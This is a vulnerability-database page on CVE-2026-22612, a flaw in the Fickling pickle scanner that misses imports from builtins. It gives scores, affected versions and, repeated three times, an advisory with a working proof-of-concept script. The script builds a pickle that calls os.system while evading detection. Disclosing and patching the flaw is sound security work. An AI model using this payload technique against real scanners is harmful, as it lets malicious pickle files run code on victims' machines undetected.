Every CVE Search/ Get API key

CVE-2026-22612

Fickling vulnerable to detection bypass due to "builtins" blindness

8.9 HighFix available

Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, Fickling is vulnerable to detection bypass due to "builtins" blindness. This issue has been patched in version 0.1.7.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.32%Up 0.3 points since Jan 10, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.9

Fickling vulnerable to detection bypass due to "builtins" blindness

Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, Fickling is vulnerable to detection bypass due to "builtins" blindness. This issue has been patched in version 0.1.7.

Record
CVE-2026-22612
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness
CWE-502
Updated
2026-11-02
EUVDEUVD-2026-1881 8.9

Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, Fickling is vulnerable to detection bypass due to "builtins" blindness. This issue has been patched in version 0.1.7.

Record
EUVD-2026-1881
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Updated
2026-11-02
GitHub AdvisoriesGHSA-h4rm-mm56-xf63 8.9

Fickling vulnerable to detection bypass due to "builtins" blindness

#Fickling's assessment

Fickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf).

Original report

Summary

Fickling works by Pickle bytecode --> AST --> Security analysis However while going from bytecode to AST, some import nodes are removed which blinds the security analysis

fickling/fickling/fickle.py

    def run(self, interpreter: Interpreter):
        module, attr = self.module, self.attr
        if module in ("__builtin__", "__builtins__", "builtins"):
            # no need to emit an import for builtins!
            pass
        else:
            alias = ast.alias(attr)
            interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))
        interpreter.stack.append(ast.Name(attr, ast.Load()))

    def encode(self) -> bytes:
        return f"c{self.module}\n{self.attr}\n".encode()

Here we see that no import nodes are emitted for builtins However builtins is marked as an unsafe import

fickling/fickling/analysis.py

UNSAFE_MODULES = {
        "__builtin__": "This module contains dangerous functions that can execute arbitrary code.",
        "__builtins__": "This module contains dangerous functions that can execute arbitrary code.",
        "builtins": "This module contains dangerous functions that can execute arbitrary code.",

But because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind.

This can allow for security bypasses like this

poc.py (script to create payload)

import os

GLOBAL = b'c'    # Import module.name
STRING = b'S'    # Push string
TUPLE1 = b'\x85' # Build tuple of 1
TUPLE2 = b'\x86' # Build tuple of 2
EMPTY_TUPLE = b')'
REDUCE = b'R'    # Call function
PUT    = b'p'    # Memoize (Variable assignment)
GET    = b'g'    # Load from memo (Variable usage)
POP    = b'0'    # Discard top of stack
EMPTY_DICT = b'}'
SETITEM = b's'   # Add key/value to dict
BUILD  = b'b'    # Update object state (Liveness satisfy)
STOP   = b'.'    # Finish and return stack top

def generate_raw_payload():
    payload = b""

    payload += GLOBAL + b"builtins\n__import__\n"
    payload += STRING + b"'os'\n"
    payload += TUPLE1 + REDUCE
    payload += PUT + b"0\n" # _var0 = os module
    payload += POP

    payload += GLOBAL + b"builtins\ngetattr\n"
    payload += GET + b"0\n" # os module
    payload += STRING + b"'system'\n"
    payload += TUPLE2 + REDUCE
    payload += PUT + b"1\n" # _var1 = os.system
    payload += POP

    payload += GET + b"1\n" # os.system
    payload += STRING + b"'whoami'\n" # COMMAND
    payload += TUPLE1 + REDUCE
    payload += PUT + b"2\n" 
    payload += POP

    payload += GLOBAL + b"builtins\nException\n"
    payload += EMPTY_TUPLE + REDUCE
    payload += PUT + b"3\n"
    
    payload += EMPTY_DICT
    payload += STRING + b"'rce_status'\n"
    payload += GET + b"2\n" 
    payload += SETITEM  
    
    payload += BUILD
    
    payload += STOP

    return payload

if __name__ == "__main__":
    data = generate_raw_payload()
    with open("raw_bypass.pkl", "wb") as f:
        f.write(data)
    
    print("Generated 'raw_bypass.pkl'")

This creates a pickle file which imports the OS module using import which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately.

However now fickling sees the pickle payload as

_var0 = __import__('os')
_var1 = getattr(_var0, 'system')
_var2 = _var1('whoami')
_var3 = Exception()
_var4 = _var3
_var4.__setstate__({'rce_status': _var2})
result0 = _var4

<img width="810" height="182" alt="image" src="https://github.com/user-attachments/assets/5bfe8c34-7bc0-429f-83ce-d0c2f1928aca" />

As you can see there is no mention of builtins anywhere so it isnt flagged

Additionally, the payload builder uses a technique to ensure that no…

Record
GHSA-h4rm-mm56-xf63
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness
CWE-502
Updated
2026-11-02
NVD 8.9

Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, Fickling is vulnerable to detection bypass due to "builtins" blindness. This issue has been patched in version 0.1.7.

Record
CVE-2026-22612
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSV 8.9

Fickling vulnerable to detection bypass due to "builtins" blindness

Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, Fickling is vulnerable to detection bypass due to "builtins" blindness. This issue has been patched in version 0.1.7.

Record
CVE-2026-22612
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness
CWE-502
Updated
2026-11-02
OSVGHSA-h4rm-mm56-xf63 8.9

Fickling vulnerable to detection bypass due to "builtins" blindness

#Fickling's assessment

Fickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf).

Original report

Summary

Fickling works by Pickle bytecode --> AST --> Security analysis However while going from bytecode to AST, some import nodes are removed which blinds the security analysis

fickling/fickling/fickle.py

    def run(self, interpreter: Interpreter):
        module, attr = self.module, self.attr
        if module in ("__builtin__", "__builtins__", "builtins"):
            # no need to emit an import for builtins!
            pass
        else:
            alias = ast.alias(attr)
            interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))
        interpreter.stack.append(ast.Name(attr, ast.Load()))

    def encode(self) -> bytes:
        return f"c{self.module}\n{self.attr}\n".encode()

Here we see that no import nodes are emitted for builtins However builtins is marked as an unsafe import

fickling/fickling/analysis.py

UNSAFE_MODULES = {
        "__builtin__": "This module contains dangerous functions that can execute arbitrary code.",
        "__builtins__": "This module contains dangerous functions that can execute arbitrary code.",
        "builtins": "This module contains dangerous functions that can execute arbitrary code.",

But because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind.

This can allow for security bypasses like this

poc.py (script to create payload)

import os

GLOBAL = b'c'    # Import module.name
STRING = b'S'    # Push string
TUPLE1 = b'\x85' # Build tuple of 1
TUPLE2 = b'\x86' # Build tuple of 2
EMPTY_TUPLE = b')'
REDUCE = b'R'    # Call function
PUT    = b'p'    # Memoize (Variable assignment)
GET    = b'g'    # Load from memo (Variable usage)
POP    = b'0'    # Discard top of stack
EMPTY_DICT = b'}'
SETITEM = b's'   # Add key/value to dict
BUILD  = b'b'    # Update object state (Liveness satisfy)
STOP   = b'.'    # Finish and return stack top

def generate_raw_payload():
    payload = b""

    payload += GLOBAL + b"builtins\n__import__\n"
    payload += STRING + b"'os'\n"
    payload += TUPLE1 + REDUCE
    payload += PUT + b"0\n" # _var0 = os module
    payload += POP

    payload += GLOBAL + b"builtins\ngetattr\n"
    payload += GET + b"0\n" # os module
    payload += STRING + b"'system'\n"
    payload += TUPLE2 + REDUCE
    payload += PUT + b"1\n" # _var1 = os.system
    payload += POP

    payload += GET + b"1\n" # os.system
    payload += STRING + b"'whoami'\n" # COMMAND
    payload += TUPLE1 + REDUCE
    payload += PUT + b"2\n" 
    payload += POP

    payload += GLOBAL + b"builtins\nException\n"
    payload += EMPTY_TUPLE + REDUCE
    payload += PUT + b"3\n"
    
    payload += EMPTY_DICT
    payload += STRING + b"'rce_status'\n"
    payload += GET + b"2\n" 
    payload += SETITEM  
    
    payload += BUILD
    
    payload += STOP

    return payload

if __name__ == "__main__":
    data = generate_raw_payload()
    with open("raw_bypass.pkl", "wb") as f:
        f.write(data)
    
    print("Generated 'raw_bypass.pkl'")

This creates a pickle file which imports the OS module using import which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately.

However now fickling sees the pickle payload as

_var0 = __import__('os')
_var1 = getattr(_var0, 'system')
_var2 = _var1('whoami')
_var3 = Exception()
_var4 = _var3
_var4.__setstate__({'rce_status': _var2})
result0 = _var4

<img width="810" height="182" alt="image" src="https://github.com/user-attachments/assets/5bfe8c34-7bc0-429f-83ce-d0c2f1928aca" />

As you can see there is no mention of builtins anywhere so it isnt flagged

Additionally, the payload builder uses a technique to ensure that no…

Record
GHSA-h4rm-mm56-xf63
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness
CWE-502
Updated
2026-11-02
OSVPYSEC-2026-1370 8.9

Fickling vulnerable to detection bypass due to "builtins" blindness

#Fickling's assessment

Fickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf).

Original report

Summary

Fickling works by Pickle bytecode --> AST --> Security analysis However while going from bytecode to AST, some import nodes are removed which blinds the security analysis

fickling/fickling/fickle.py

    def run(self, interpreter: Interpreter):
        module, attr = self.module, self.attr
        if module in ("__builtin__", "__builtins__", "builtins"):
            # no need to emit an import for builtins!
            pass
        else:
            alias = ast.alias(attr)
            interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))
        interpreter.stack.append(ast.Name(attr, ast.Load()))

    def encode(self) -> bytes:
        return f"c{self.module}\n{self.attr}\n".encode()

Here we see that no import nodes are emitted for builtins However builtins is marked as an unsafe import

fickling/fickling/analysis.py

UNSAFE_MODULES = {
        "__builtin__": "This module contains dangerous functions that can execute arbitrary code.",
        "__builtins__": "This module contains dangerous functions that can execute arbitrary code.",
        "builtins": "This module contains dangerous functions that can execute arbitrary code.",

But because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind.

This can allow for security bypasses like this

poc.py (script to create payload)

import os

GLOBAL = b'c'    # Import module.name
STRING = b'S'    # Push string
TUPLE1 = b'\x85' # Build tuple of 1
TUPLE2 = b'\x86' # Build tuple of 2
EMPTY_TUPLE = b')'
REDUCE = b'R'    # Call function
PUT    = b'p'    # Memoize (Variable assignment)
GET    = b'g'    # Load from memo (Variable usage)
POP    = b'0'    # Discard top of stack
EMPTY_DICT = b'}'
SETITEM = b's'   # Add key/value to dict
BUILD  = b'b'    # Update object state (Liveness satisfy)
STOP   = b'.'    # Finish and return stack top

def generate_raw_payload():
    payload = b""

    payload += GLOBAL + b"builtins\n__import__\n"
    payload += STRING + b"'os'\n"
    payload += TUPLE1 + REDUCE
    payload += PUT + b"0\n" # _var0 = os module
    payload += POP

    payload += GLOBAL + b"builtins\ngetattr\n"
    payload += GET + b"0\n" # os module
    payload += STRING + b"'system'\n"
    payload += TUPLE2 + REDUCE
    payload += PUT + b"1\n" # _var1 = os.system
    payload += POP

    payload += GET + b"1\n" # os.system
    payload += STRING + b"'whoami'\n" # COMMAND
    payload += TUPLE1 + REDUCE
    payload += PUT + b"2\n" 
    payload += POP

    payload += GLOBAL + b"builtins\nException\n"
    payload += EMPTY_TUPLE + REDUCE
    payload += PUT + b"3\n"
    
    payload += EMPTY_DICT
    payload += STRING + b"'rce_status'\n"
    payload += GET + b"2\n" 
    payload += SETITEM  
    
    payload += BUILD
    
    payload += STOP

    return payload

if __name__ == "__main__":
    data = generate_raw_payload()
    with open("raw_bypass.pkl", "wb") as f:
        f.write(data)
    
    print("Generated 'raw_bypass.pkl'")

This creates a pickle file which imports the OS module using import which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately.

However now fickling sees the pickle payload as

_var0 = __import__('os')
_var1 = getattr(_var0, 'system')
_var2 = _var1('whoami')
_var3 = Exception()
_var4 = _var3
_var4.__setstate__({'rce_status': _var2})
result0 = _var4

<img width="810" height="182" alt="image" src="https://github.com/user-attachments/assets/5bfe8c34-7bc0-429f-83ce-d0c2f1928aca" />

As you can see there is no mention of builtins anywhere so it isnt flagged

Additionally, the payload builder uses a technique to ensure that no…

Record
PYSEC-2026-1370
CVSS 4.0
8.9 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
fickling
PyPI
through 0.1.6
0.1.7
fickling
PyPI
before 0.1.7, plus listed versions
0.0.10.0.20.0.30.0.40.0.5
Show 8 moreShow less
0.0.60.0.70.0.80.1.20.1.30.1.40.1.50.1.6
0.1.7

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-22612 is a high vulnerability (CVSS 8.9) in Trailofbits Fickling, published January 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 25th percentile. Fixed in fickling 0.1.7.

References

Show 4 moreShow less
This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open